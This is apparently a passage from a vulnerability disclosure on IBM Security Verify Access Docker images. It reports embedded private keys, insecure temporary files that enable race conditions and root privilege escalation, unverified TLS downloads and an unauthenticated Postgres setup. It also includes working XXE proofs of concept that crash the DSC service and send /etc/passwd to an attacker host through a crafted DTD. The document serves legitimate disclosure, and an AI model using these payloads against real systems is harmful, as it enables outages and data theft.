Shrouded Keybag: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 5
Bag Attributes
friendlyName: server
localKeyID: [REDACTED]
Key Attributes: <No Attributes>
Enter PEM pass phrase: [password]
Verifying - Enter PEM pass phrase: [password]
-----BEGIN ENCRYPTED PRIVATE KEY-----
[REDACTED]
-----END ENCRYPTED PRIVATE KEY-----
PKCS7 Encrypted data: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 1024
Certificate bag
Bag Attributes
friendlyName: server
localKeyID: [REDACTED]
subject=C = us, O = ibm, CN = isam
issuer=C = us, O = ibm, CN = isam
-----BEGIN CERTIFICATE-----
[REDACTED]
-----END CERTIFICATE-----
kali-docker#
Using a dynamic analysis, it was confirmed that several private keys are included in the snapshot images and used at least by OpenLDAP. The .p12 files can be decrypted using IBM Crypto For C
and OpenSSL.
kali-docker# pwd
/home/user/snapshots/_a22547c15c88-verify-access-runtime_10.0.4.0.tar-default.snapshot/var/pdweb/shared/keytab
kali-docker# ls -la
total 492
drwxr-x--- 2 root root 4096 Oct 18 05:13 .
drwxr-x--- 16 root root 4096 Sep 20 03:01 ..
-rw-r----- 1 root root 2952 Sep 20 03:01 embedded_ldap_keys.p12
-rw-r----- 1 root root 193 Jun 8 01:31 embedded_ldap_keys.sth
-rw-r----- 1 root root 47630 Sep 20 03:09 lmi_trust_store.p12
-rw-r----- 1 root root 193 Jun 8 01:31 lmi_trust_store.sth
-rw-r----- 1 root root 109313 Sep 20 03:17 rt_profile_keys.p12
-rw-r----- 1 root root 193 Jun 8 01:31 rt_profile_keys.sth
[...]
It was observed that the Docker image verify-access-dsc uses insecure temporary files to store sensitive information.
The /usr/sbin/bootstrap.sh
script will generate temporary files using the default umask (022
).
In the build_health_check_config()
function found inside the /usr/sbin/bootstrap.sh
script (executed when the instance starts), we can see that several files are generated:
Content of /usr/sbin/bootstrap.sh
:
65 ############################################################################# 66 # Construct the health check configuration information. This will include 67 # the port and client certificate information. 68 69 build_health_check_config() 70 { 71 if [ -z "$INSTANCE" ] ; then 72 INSTANCE=1 73 fi 74 75 conf=/var/dsc/etc/dsc.conf.${INSTANCE} 76 77 if [ ! -f ${conf} ] ; then 78 Echo 973 "${INSTANCE}" 79 exit 1 80 fi 81 82 # 83 # Determine the port which is to be used. 84 # 85 86 port=`/opt/PolicyDirector/sbin/pdconf -f $conf getentry \ 87 dsess-server ssl-listen-port` 88 89 mkdir -p /var/dsc/.health 90 91 echo $port > /var/dsc/.health/port.txt 92 93 # 94 # Extract the client certificate which is used to communicate with the 95 # server. 96 # 97 98 cert_file=/var/dsc/.health/health_check.pem 99 100 tmp_p12=/tmp/health_check.p12 101 tmp_pwd=health_check 102 103 # Work out the name of the key file which is being used. 104 key_file=`/opt/PolicyDirector/sbin/pdconf -f $conf getentry \ 105 dsess-server ssl-keyfile` 106 107 # Export the key into a key database type which is supported 108 # by OpenSSL. 109 gsk8capicmd_64 -cert -export -db $key_file -stashed \ 110 -target $tmp_p12 -target_pw $tmp_pwd 111 112 # Convert the key into something that curl understands. 113 openssl pkcs12 -in $tmp_p12 -out $cert_file -nodes \ 114 -passin pass:$tmp_pwd 2>/dev/null 115 116 # Tidy up. 117 rm -f $tmp_p12 118 } 119 [...] 176 # 177 # Extract the health check information. 178 # 179 180 build_health_check_config
The temporary file /tmp/health_check.p12
contains the private keys of the dsc server and the dsc client. This key file is stored using the 644
permissions allowing any local attacker to extract these keys when the Docker image starts.
Furthermore, the password of the certificate file is hardcoded (to health_check
, on line 101).
When checking the files generated by this script, we can confirm the files are world-readable. For example, for the /var/dsc/.health/port.txt
file, the permissions are 644:
[isam@verify-access-dsc /]$ ls -la /var/dsc/.health/
total 28
drwxr-xr-x 2 isam isam 4096 Oct 4 09:07 .
drwxrwx--- 1 isam root 4096 Oct 4 09:07 ..
-rw------- 1 isam isam 9268 Oct 4 09:07 health_check.pem
-rw-r--r-- 1 isam isam 5 Oct 4 09:07 port.txt
[isam@verify-access-dsc /]$
There is a race condition in the /usr/sbin/bootstrap.sh
script allowing a local attacker with access to the verify-access-dsc instance to extract the private keys of the dsc server and the dsc client when the Docker image starts.
The filename is predictable, allowing a local attacker to create the destination file before the script is executed. The content of the destination file will be overwritten by the /usr/sbin/health_check.sh
script but the ownership of the file will still belong to an attacker, allowing extracting the private keys.
The password is hardcoded.
Insecure permissions are used for sensitive files.
It was observed that the Docker image verify-access runs regularly the script /usr/sbin/health_check.sh
.
This script uses a temporary file to store sensitive information. Since this script uses the default umask (022
), an attacker can exploit a race condition (between the lines 91 and 95) to extract the private keys of the dsc server and the dsc clients.
The /tmp/health_check.pem
output file will also be created containing the private keys in clear-text (in line 91), allowing an attacker to extract these private keys:
Content of /usr/sbin/health_check.sh
:
[...] 65 cert_file=/tmp/health_check.pem 66 67 trap "rm -f $result_file $error_file $hdr_file" EXIT 68 69 # The following function will extract a key which can be used to authenticate 70 # to the DSC. 71 72 extract_dsc_key() 73 { 74 if [ ! -f $cert_file ] ; then 75 tmp_p12=/tmp/health_check.p12.$$ 76 tmp_pwd=health_check 77 78 # Work out the name of the DSC configuration file. 79 conf_file=`mesa_config wga.ftype dir dsc.conf -production` 80 81 # Work out the name of the key file which is being used. 82 key_file=`/opt/PolicyDirector/sbin/pdconf -f $conf_file getentry \ 83 dsess-server ssl-keyfile` 84 85 # Export the key into a key database type which is supported 86 # by OpenSSL. 87 gsk8capicmd_64 -cert -export -db $key_file -stashed \ 88 -target $tmp_p12 -target_pw $tmp_pwd 89 90 # Convert the key into something that curl understands. 91 openssl pkcs12 -in $tmp_p12 -out $cert_file -nodes \ 92 -passin pass:$tmp_pwd 2>/dev/null 93 94 # Tidy up. 95 rm -f $tmp_p12 96 fi 97 } [...]
The file /tmp/health_check.p12.$$
($$
corresponding to the local PID) will be generated with the password health_check
and will contain the private keys of the dsc client and the dsc server. This file will be world-readable. Then the file will be erased.
There is a race condition in the /usr/sbin/health_check.sh
script allowing a local attacker with access to the verify-access instance to extract the private keys of the dsc server and the dsc client.
The filename is predictable, allowing a local attacker to create potential destination files before the execution of the script. The content of the destination file will be overwritten by the /usr/sbin/health_check.sh
script but the ownership of the file will still belong to an attacker, allowing extracting the private keys.
There is also a leak of private keys in the world-readable file /tmp/health_check.pem
.
The password is hardcoded.
Insecure permissions are used for sensitive files.
It was observed that the Docker image verify-access regularly runs the script /usr/sbin/health_check.sh
.
This script uses curl, without checking the remote SSL certificate:
Content of /usr/sbin/health_check.sh
:
190 # 191 # Make the curl request. 192 # 193 194 eval curl --insecure --output $result_file --silent --show-error \ 195 -D $hdr_file $extra_args https://127.0.0.1:$port 2> $error_file 196
The eval instruction does not seem exploitable.
This script uses 2 temporary files to store the standard output (stdout) and the error output (stderr) of the curl command: an attacker can exploit these 2 temporary files to overwrite any file in the filesystem using pre-generated symbolic links inside /tmp
:
Content of /usr/sbin/health_check.sh
:
62 result_file=/tmp/health_check.out.$$ 63 error_file=/tmp/health_check.err.$$ [...] 194 eval curl --insecure --output $result_file --silent --show-error \ 195 -D $hdr_file $extra_args https://127.0.0.1:$port 2> $error_file
The /tmp/health_check.out.$$
file ($$
corresponding to the local PID) can be a symbolic link generated by a local attacker - the content of the linked file will be overwritten as root.
The /tmp/health_check.err.$$
file ($$
corresponding to the local PID) can be a symbolic link generated by a local attacker - the content of the linked file will be overwritten as root.
The script trusts any insecure HTTPS server, due to the use of the --insecure
flag in curl.
There are two uses of insecure files in the /usr/sbin/health_check.sh
script allowing a local attacker with access to the verify-access instance to overwrite any file as root - it is possible to get a Local Privilege Escalation as root.
The filenames are predictable, allowing a local attacker to create potential destination files before the execution of the script. The content of the destination files will be overwritten by the /usr/sbin/health_check.sh
script.
It was observed that the Docker image verify-access-sc runs regularly the script /usr/sbin/health_check.sh
.
This script uses a temporary file to store errors: an attacker can exploit a race condition to overwrite any file in the filesystem using a pre-generated symbolic link.
Furthermore, the script uses insecure options for curl on line 73 (--insecure
) - the SSL certificate of the remote host will not be validated:
Content of /usr/sbin/health_check.sh
:
62 # 63 # Test access to the server as this will govern whether we are healthy or 64 # not. 65 # 66 67 error_file=/tmp/health_check.err.$$ 68 69 trap "rm -f $error_file" EXIT 70 71 ping_body='<?xml version="1.0" encoding="utf-8" ?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/X MLSchema-instance"><SOAP-ENV:Body><ns1:ping xmlns:ns1="http://sms.am.tivoli.com"><ns1:something>0</ns1:something></ns1:ping></SOAP-ENV:Body></SOAP-ENV:Envelope>' 72 73 curl -s -o /dev/null --show-error --insecure --cert $cert_file -X POST \ 74 -H 'SOAPAction: "ping"' \ 75 --data "$ping_body" \ 76 https://127.0.0.1:$port 2> $error_file 77 78 if [ $? -ne 0 ] ; then 79 # 80 # We don't know for sure yet whether the DSC is alive or not because it 81 # could be passive (only a single DSC is active in an environment at any 82 # one time). So, we also need to try a simple SSL connection before we 83 # return that the server is actually unhealthy. We could have simply 84 # avoided the initial curl call, but by only performing the SSL connection 85 # test when the DSC is passive we avoid SSL error messages being displayed 86 # on the console. 87 # 88 89 openssl s_client -connect 127.0.0.1:$port 2>&1 | grep -q CONNECTED 90 91 if [ $? -eq 0 ] ; then 92 exit 0 93 fi 94 95 echo "Error> failed to connect to the service." 96 97 cat $error_file; rm -f $cert_file
The /tmp/health_check.err.$$
file ($$
corresponding to the local PID) can be a symbolic link that will be followed in the line 76. This allows an attacker to overwrite any file on the system because curl is executed as root.
There is a race condition in the /usr/sbin/health_check.sh
script allowing a local attacker to overwrite any file as root on the instance - it is possible to get a Local Privilege Escalation as root.
The filename is predictable, allowing a local attacker to create potential destination files. The content of the destination file will be overwritten by the stderr file descriptor of the curl command.
It was observed that the Docker images verify-access-dsc ,verify-access-runtime and verify-access-wrp are able to download the snapshot file over HTTPS without checking the SSL certificate of the remote server, allowing an attacker to MITM the connection and retrieve the snapshot file or to provide a malicious snapshot file to the system.
The /usr/sbin/.bootstrap_common.sh
script is executed from the /usr/sbin/bootstrap.sh
script when the instance starts:
Content of /usr/sbin/bootstrap.sh
in verify-access-dsc
139 # 140 # Wait for the snapshot file. 141 # 142 143 wait_for_snapshot
In verify-access-runtime, the function wait_for_snapshot()
is called on line 93 inside the /usr/sbin/bootstrap.sh
script.
The function wait_for_snapshot()
calls the function download_from_cfgsvc()
(line 251):
Content of /usr/sbin/.bootstrap_common.sh
in verify-access-dsc, verify-access-runtime and verify-access-wrp:
240 ############################################################################# 241 # Wait for the snapshot file. 242 243 wait_for_snapshot() 244 { 245 download_from_cfgsvc 1 246 247 if [ ! -f $snapshot ] ; then 248 Echo 969 249 250 while [ ! -f $snapshot ] ; do 251 download_from_cfgsvc 0 252 253 if [ ! -f $snapshot ] ; then 254 sleep 1 255 fi 256 done 257 258 Echo 970 259 fi 260 }
And the function download_from_cfgsvc()
uses curl to download a snapshot, without checking the SSL certificate of the remote server. The -k
option (also known as --insecure
) disables any SSL verification (line 154):
Content /usr/sbin/.bootstrap_common.sh
in verify-access-dsc, verify-access-runtime and verify-access-wrp:
140 download_from_cfgsvc() 141 { 142 # No need to download the snapshot if the configuration service has not 143 # been defined. 144 if [ -z "$CONFIG_SERVICE_URL" ] ; then 145 return 146 fi 147 148 if [ $1 -eq 1 ] ; then 149 Echo 960 150 fi 151 152 snapshotUri="`basename $snapshot`?type=File&client=`cat /etc/hostname`" 153 154 curl -k -s --fail -u "$CONFIG_SERVICE_USER_NAME:$CONFIG_SERVICE_USER_PWD" \ 155 "$CONFIG_SERVICE_URL/snapshots/$snapshotUri" \ 156 -o $snapshot 157 158 if [ $? -ne 0 ] ; then 159 if [ $1 -eq 1 ] ; then 160 Echo 961 161 fi 162 163 rm -f $snapshot 164 else 165 Echo 962 166 fi 167 }
From the curl(1) man page:
-k, --insecure
(TLS) By default, every SSL connection curl makes is verified to
be secure. This option allows curl to proceed and operate even
for server connections otherwise considered insecure.
The server connection is verified by making sure the server's
certificate contains the right name and verifies successfully
using the cert store.
See this online resource for further details:
https://curl.haxx.se/docs/sslcerts.html
See also --proxy-insecure and --cacert.
The same issue exists with the function download_fixpacks()
in the same shell script (line 201):
Content of /usr/sbin/.bootstrap_common.sh
in verify-access-dsc, verify-access-runtime and verify-access-wrp:
169 ############################################################################# 170 # Attempt to download any requested fixpacks from the configuration service. 171 172 download_fixpacks() 173 { 174 # No need to download the fixpacks if the configuration service has not 175 # been defined. 176 if [ -z "$CONFIG_SERVICE_URL" ] ; then 177 return 178 fi 179 180 # No need to download the fixpacks if no fixpack has been specified, or 181 # if the fixpack has been set to 'disabled'. 182 if [ -z "${FIXPACKS}" -o "${FIXPACKS}" = "disabled" ]; then 183 return 184 fi 185 186 # Set the fixpack directory, and then ensure that the fixpack directory 187 # has been created. 188 fixpack_dir=/tmp/fixpacks 189 190 if [ -d $fixpack_dir ] ; then 191 rm -rf $fixpack_dir/* 192 else 193 mkdir -p $fixpack_dir 194 fi 195 196 # If we get this far we know that one or more fixpacks have been specified. 197 # We need to download each of these now. 198 for fixpack in $FIXPACKS; do 199 fixpackUri="$fixpack?type=File&client=`cat /etc/hostname`" 200 201 curl -k -s --fail \ 202 -u "$CONFIG_SERVICE_USER_NAME:$CONFIG_SERVICE_USER_PWD" \ 203 "$CONFIG_SERVICE_URL/fixpacks/$fixpackUri" \ 204 -o $fixpack_dir/$fixpack
The fixpacks will be then installed as root inside the image:
Content of /usr/sbin/.bootstrap_common.sh
in verify-access-dsc, verify-access-runtime and verify-access-wrp:
231 for fixpack in $FIXPACKS; do 232 Echo 967 "${fixpack}" 233 /usr/sbin/isva_install_fixpack -i ${fixpack_dir}/${fixpack} >/dev/null 234 if [ $? -ne 0 ]; then 235 Echo 968 "${fixpack}" 236 fi
An attacker located on the network can inject a malicious snapshot file into the platform or MITM the connection to a server containing the snapshot image and take control over the entire platform.
It was observed that the Docker image verify-access-runtime configures Postgres without authentication.
The /usr/sbin/bootstrap.sh
script configures and starts the postgres daemon. We can see the lack of authentication:
135 # 136 # Start the postgresql server. 137 # 138 139 Echo 974 140 141 db_root=/var/postgresql/config 142 db_data_root=$db_root/data 143 db_snapshot=$db_root/snapshot.sql 144 db_log_dir=/var/application.logs/db/config 145 db_port=5432 146 db_name=config 147 db_user=www-data 148 149 if [ ! -f $db_snapshot ] ; then 150 Echo 975 151 exit 1 152 fi 153 154 mkdir -p $db_log_dir 155 156 rm -rf $db_data_root 157 158 initdb -D $db_data_root --locale=C -U $db_user -A trust > /dev/null 159 160 pg_ctl -s -D $db_data_root -l $db_log_dir/logfile start 161 162 createdb -U $db_user -p $db_port -w $db_name > /dev/null 163 164 psql -U $db_user -p $db_port -f $db_snapshot -w -q $db_name > /dev/null 165
A local attacker can compromise the postgres database.
It was observed that the DSC (Distributed Session Cache) servers can be remotely crashed, resulting in a DoS of the authentication infrastructure.
The DSC servers are reachable using the /DSess/services/DSess
API running on port 8443/tcp.
Using an SSL client certificate, it is possible to reach the remote DSC instances from the same network segment:
[user@container-01 ~]$ curl -kv https://dsc-02.test.lan:8443
* Rebuilt URL to: https://dsc-02.test.lan:8443/
* Trying 10.0.0.16...
* TCP_NODELAY set
* Connected to dsc-02.test.lan (10.0.0.16) port 8443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
* CAfile: /etc/pki/tls/certs/ca-bundle.crt
CApath: none
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Request CERT (13):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Certificate (11):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS alert, handshake failure (552):
* error:14094410:SSL routines:ssl3_read_bytes:sslv3 alert handshake failure
* Closing connection 0
curl: (35) error:14094410:SSL routines:ssl3_read_bytes:sslv3 alert handshake failure
With a client certificate, we can reach the /DSess/services/DSess
API:
Sending a normal request (ping):
kali% curl --key dsc-client.key --cert dsc-client.pem --show-error --insecure https://dsc.test.lan:8443/DSess/services/DSess -X POST -H 'SOAPAction: "ping"' --data '<?xml version="1.0" encoding="utf-8" ?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><SOAP-ENV:Body><ns1:ping xmlns:ns1="http://sms.am.tivoli.com"><ns1:something>0</ns1:something></ns1:ping></SOAP-ENV:Body></SOAP-ENV:Envelope>'
<?xml version='1.0' encoding='utf-8' ?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<SOAP-ENV:Body>
<ns1:pingResponse xmlns:ns1="http://sms.am.tivoli.com">
<ns1:pingReturn>952467756</ns1:pingReturn>
</ns1:pingResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
We can also send a specific XML External Entity (XXE) that will crash the remote DSC instance:
kali% curl --key dsc-client.key --cert dsc-client.pem --show-error --insecure https://dsc-02.test.lan:8443/DSess/services/DSess -X POST -H 'SOAPAction: "ping"' --data '<?xml version="1.0" encoding="utf-8" ?><!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///dev/random">]><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><SOAP-ENV:Body><ns1:ping xmlns:ns1="http://sms.am.tivoli.com"><ns1:something>&xxe;</ns1:something></ns1:ping></SOAP-ENV:Body></SOAP-ENV:Envelope>'
curl: (52) Empty reply from server
When debugging this issue, it appears there is a null pointer dereference in the method DSessWrapper::ping(void*) ()
defined in /lib64/libamdsc_interface.so
library:
[root@container-02]# ps -auxww | grep dscd 6000 2093037 3.4 0.5 427936 40884 ? Ssl 20:07 0:00 /opt/dsc/bin/dscd -c /var/dsc/etc/dsc.conf.1 -f -j root 2093269 0.0 0.0 12140 1092 pts/0 S+ 20:07 0:00 grep --color=auto dscd [root@container-02]# gdb -p 2093037 [...] (gdb) c Continuing. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x7fec38006110 --> 0x7fecaf4df160 --> 0x7fecaf280e20 --> 0x4100261081058b48 RCX: 0x7fec38000b60 --> 0x1000100030005 RDX: 0x7fec38025900 --> 0x7fec38021c90 --> 0x7fec38026230 --> 0x7fec38025dc0 --> 0x0 RSI: 0x4 RDI: 0x0 RBP: 0x7fec2804f7c0 --> 0x7fecb0297548 --> 0x7fecb0079560 --> 0x480021e921058b48 RSP: 0x7feca642fc10 --> 0x1d2e480 --> 0x7fecaf4dfbf8 --> 0x7fecaf292870 --> 0x410024f509058b48 RIP: 0x7fecb007a595 --> 0x48ffffca04e8188b R8 : 0x7fec38000b74 --> 0x3000600060005 R9 : 0x4 R10: 0x2f ('/') R11: 0x7fecaabb2674 --> 0x29058b48fb894853 R12: 0xffffffff R13: 0x7feca642fca0 --> 0x7fec380312f0 ("/DSess/services/DSess") R14: 0x7feca642fce0 --> 0x7feca642fcf0 --> 0x7f00676e6970 R15: 0x0 EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x7fecb007a58a <_ZN12DSessWrapper4pingEPv+154>: call QWORD PTR [rax+0x38] 0x7fecb007a58d <_ZN12DSessWrapper4pingEPv+157>: mov esi,0x4 0x7fecb007a592 <_ZN12DSessWrapper4pingEPv+162>: mov rdi,rax => 0x7fecb007a595 <_ZN12DSessWrapper4pingEPv+165>: mov ebx,DWORD PTR [rax] 0x7fecb007a597 <_ZN12DSessWrapper4pingEPv+167>: call 0x7fecb0076fa0 <_ZdlPvm@plt> 0x7fecb007a59c <_ZN12DSessWrapper4pingEPv+172>: mov rdi,QWORD PTR [rsp+0x18] 0x7fecb007a5a1 <_ZN12DSessWrapper4pingEPv+177>: mov rax,QWORD PTR [rdi] 0x7fecb007a5a4 <_ZN12DSessWrapper4pingEPv+180>: call QWORD PTR [rax+0x2f0] [------------------------------------stack-------------------------------------] 0000| 0x7feca642fc10 --> 0x1d2e480 --> 0x7fecaf4dfbf8 --> 0x7fecaf292870 --> 0x410024f509058b48 0008| 0x7feca642fc18 --> 0x7fecaf292d8e --> 0xda89481d74c08548 0016| 0x7feca642fc20 --> 0x7fec28040830 --> 0x7fecaf4e00a0 --> 0x7fecaf29b5a0 --> 0x4100246a21058b48 0024| 0x7feca642fc28 --> 0x1e3f6e0 --> 0x7fecaf4e1120 --> 0x7fecaf2b2450 --> 0x530022f9a9058b48 0032| 0x7feca642fc30 --> 0x7feca642fc80 --> 0x7feca642fc90 --> 0x7fec30071c00 --> 0x50 ('P') 0040| 0x7feca642fc38 --> 0x7fec3800e720 --> 0x7fecaf4dece8 --> 0x7fecaf27a770 --> 0x4800267369058b48 0048| 0x7feca642fc40 --> 0x7fec38006110 --> 0x7fecaf4df160 --> 0x7fecaf280e20 --> 0x4100261081058b48 0056| 0x7feca642fc48 --> 0x7fecaf27a8a1 --> 0xf2e668debc48941 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00007fecb007a595 in DSessWrapper::ping(void*) () from target:/lib64/libamdsc_interface.so gdb-peda$ bt #0 0x00007fecb007a595 in DSessWrapper::ping(void*) () from target:/lib64/libamdsc_interface.so #1 0x00007fecaf27a8a1 in tivsec_axiscpp::ServerAxisEngine::invoke(tivsec_axiscpp::MessageData*) () from target:/lib64/libtivsec_axis_server.so #2 0x00007fecaf27b0d2 in tivsec_axiscpp::ServerAxisEngine::process(tivsec_axiscpp::SOAPTransport*) () from target:/lib64/libtivsec_axis_server.so #3 0x00007fecaf297156 in process_request(tivsec_axiscpp::SOAPTransport*) () from target:/lib64/libtivsec_axis_server.so #4 0x00007fecb02a3293 in AMWSMSServiceClient::processRequest(AMWSMSService::WorkerRequest&, bool) () from target:/lib64/libamdsc_server.so #5 0x00007fecb02a3ff8 in AMWSMSService::workerThreadRun() () from target:/lib64/libamdsc_server.so #6 0x00007fecb02a4089 in start_worker_thread () from target:/lib64/libamdsc_server.so #7 0x00007fecaec801ca in start_thread () from target:/lib64/libpthread.so.0 #8 0x00007fecae6d3d83 in clone () from target:/lib64/libc.so.6
I can also confirm the null pointer dereference in the dmesg
output of the container-02
test server:
[899328.145854] dscd[2106406]: segfault at 0 ip 00007f18e53ff595 sp 00007f18db93ac10 error 4 in libamdsc_interface.so[7f18e53ec000+30000]
[899485.595069] dscd[2107491]: segfault at 0 ip 00007f25a6041595 sp 00007f259c9cdc10 error 4 in libamdsc_interface.so[7f25a602e000+30000]
[899575.542524] dscd[2109718]: segfault at 0 ip 00007f331fde5595 sp 00007f3316938c10 error 4 in libamdsc_interface.so[7f331fdd2000+30000]
[899614.404309] dscd[2111181]: segfault at 0 ip 00007fec9cad4595 sp 00007fec9d29dc10 error 4 in libamdsc_interface.so[7fec9cac1000+30000]
[899761.869511] dscd[2112040]: segfault at 0 ip 00007f86cf8a0595 sp 00007f86c5edfc10 error 4 in libamdsc_interface.so[7f86cf88d000+30000]
I can confirm the verify-access-dsc instance crashes on container-02 as shown below.
Before the PoC, the verify-access-dsc instance is running:
[root@container-02]# podman ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
e462789b901b ibmcom/verify-access-runtime/10.0.4.0:20220926.6 28 hours ago Up 28 hours ago (healthy) 0.0.0.0:9443->9443/tcp verify-access-runtime
0ff1b85073d6 ibmcom/verify-access-dsc/10.0.4.0:20220926.6 28 hours ago Up 28 minutes ago (healthy) 0.0.0.0:8443-8444->8443-8444/tcp verify-access-dsc
After the PoC, the verify-access-dsc instance does not run anymore:
[root@container-02]# podman ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
e462789b901b ibmcom/verify-access-runtime/10.0.4.0:20220926.6 28 hours ago Up 28 hours ago (healthy) 0.0.0.0:9443->9443/tcp verify-access-runtime
[root@container-02]#
An attacker with the dsc-client SSL certificate can crash the DSC servers and crash the entire authentication system.
It was observed that the DSC (Distributed Session Cache) servers are vulnerable to XML External Entity (XXE) attacks. DSC servers are used to store session information.
The DSC servers are reachable using the /DSess/services/DSess
API running on port 8443/tcp.
With a client certificate, we can reach the /DSess/services/DSess
API.
Content of the payload.txt
file containing the XXE payload that will be sent to the remote DSC server:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://10.0.0.45/dtd.xml">
%xxe;
]>
<foo></foo>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<SOAP-ENV:Body>
<ns1:ping xmlns:ns1="http://sms.am.tivoli.com">
<ns1:something>X</ns1:something>
</ns1:ping>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
Content of the dtd.xml
file hosted on http://10.0.0.45/. This DTD file is referenced by the payload.txt
file:
kali% cat /var/www/html/dtd.xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://10.0.0.45/?x=%file;'>">
%eval;
%exfiltrate;
Sending the previous payload will result in an exception on the remote DSC server:
kali% curl --key dsc-client.key --cert dsc-client.pem --show-error --insecure https://dsc-02.test.lan:8443/DSess/services/DSess -H 'SOAPAction: "ping"' --data '@payload.txt' -v
* Trying 10.0.0.16:8443...
* Connected to dsc-02.test.lan (10.0.0.16) port 8443 (#0)
[...]
> POST /DSess/services/DSess HTTP/1.1
> Host: dsc-02.test.lan:8443
> User-Agent: curl/7.82.0
> Accept: */*
> SOAPAction: "ping"
> Content-Length: 453
> Content-Type: application/x-www-form-urlencoded
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: Apache Axis C++/1.6.a
< Connection: close
< Content-Length: 330
< Content-Type: text/xml
<
<?xml version='1.0' encoding='utf-8' ?>
<SOAP-ENV:Envelope>
<SOAP-ENV:Body>
<SOAP-ENV:Fault>
<faultcode>SOAP-ENV:Server</faultcode>
<faultstring>Unknown exception</faultstring>
<faultactor>server name:listen port</faultactor>
<detail>Unknown Exception has occured</detail>
</SOAP-ENV:Fault>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
* Closing connection 0
* TLSv1.2 (OUT), TLS alert, close notify (256):
At the same time, when sniffing the HTTP connections to the remote HTTP server providing http://10.0.0.45/?x=%file
, we can observe HTTP requests from the DSC server (acting as a HTTP client).
There is a successful exfiltration of the /etc/passwd
file of the DSC instance - this file was specified in the dtd.xml
file at http://10.0.0.45/dtd.xml
, used by the malicious payload:
kali# tcpdump -n -i eth0 -s0 -X port 80
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
10:01:12.655204 IP 10.0.0.16.60254 > 10.0.0.45.80: Flags [P.], seq 1:753, ack 1, win 229, options [nop,nop,TS val 2959987485 ecr 3936552717], length 752: HTTP: GET /root:x:0:0:root:/root:/bin/bash
[...]
0x0030: eaa3 070d 4745 5420 2f72 6f6f 743a 783a ....GET./root:x:
0x0040: 303a 303a 726f 6f74 3a2f 726f 6f74 3a2f 0:0:root:/root:/
0x0050: 6269 6e2f 6261 7368 0a62 696e 3a78 3a31 bin/bash.bin:x:1
0x0060: 3a31 3a62 696e 3a2f 6269 6e3a 2f73 6269 :1:bin:/bin:/sbi
0x0070: 6e2f 6e6f 6c6f 6769 6e0a 6461 656d 6f6e n/nologin.daemon
0x0080: 3a78 3a32 3a32 3a64 6165 6d6f 6e3a 2f73 :x:2:2:daemon:/s
0x0090: 6269 6e3a 2f73 6269 6e2f 6e6f 6c6f 6769 bin:/sbin/nologi
0x00a0: 6e0a 6164 6d3a 783a 333a 343a 6164 6d3a n.adm:x:3:4:adm:
0x00b0: 2f76 6172 2f61 646d 3a2f 7362 696e 2f6e /var/adm:/sbin/n
0x00c0: 6f6c 6f67 696e 0a6c 703a 783a 343a 373a ologin.lp:x:4:7:
0x00d0: 6c70 3a2f 7661 722f 7370 6f6f 6c2f 6c70 lp:/var/spool/lp
0x00e0: 643a 2f73 6269 6e2f 6e6f 6c6f 6769 6e0a d:/sbin/nologin.
0x00f0: 7379 6e63 3a78 3a35 3a30 3a73 796e 633a sync:x:5:0:sync:
0x0100: 2f73 6269 6e3a 2f62 696e 2f73 796e 630a /sbin:/bin/sync.
0x0110: 7368 7574 646f 776e 3a78 3a36 3a30 3a73 shutdown:x:6:0:s
0x0120: 6875 7464 6f77 6e3a 2f73 6269 6e3a 2f73 hutdown:/sbin:/s
0x0130: 6269 6e2f 7368 7574 646f 776e 0a68 616c bin/shutdown.hal
0x0140: 743a 783a 373a 303a 6861 6c74 3a2f 7362 t:x:7:0:halt:/sb
0x0150: 696e 3a2f 7362 696e 2f68 616c 740a 6d61 in:/sbin/halt.ma
0x0160: 696c 3a78 3a38 3a31 323a 6d61 696c 3a2f il:x:8:12:mail:/
0x0170: 7661 722f 7370 6f6f 6c2f 6d61 696c 3a2f var/spool/mail:/
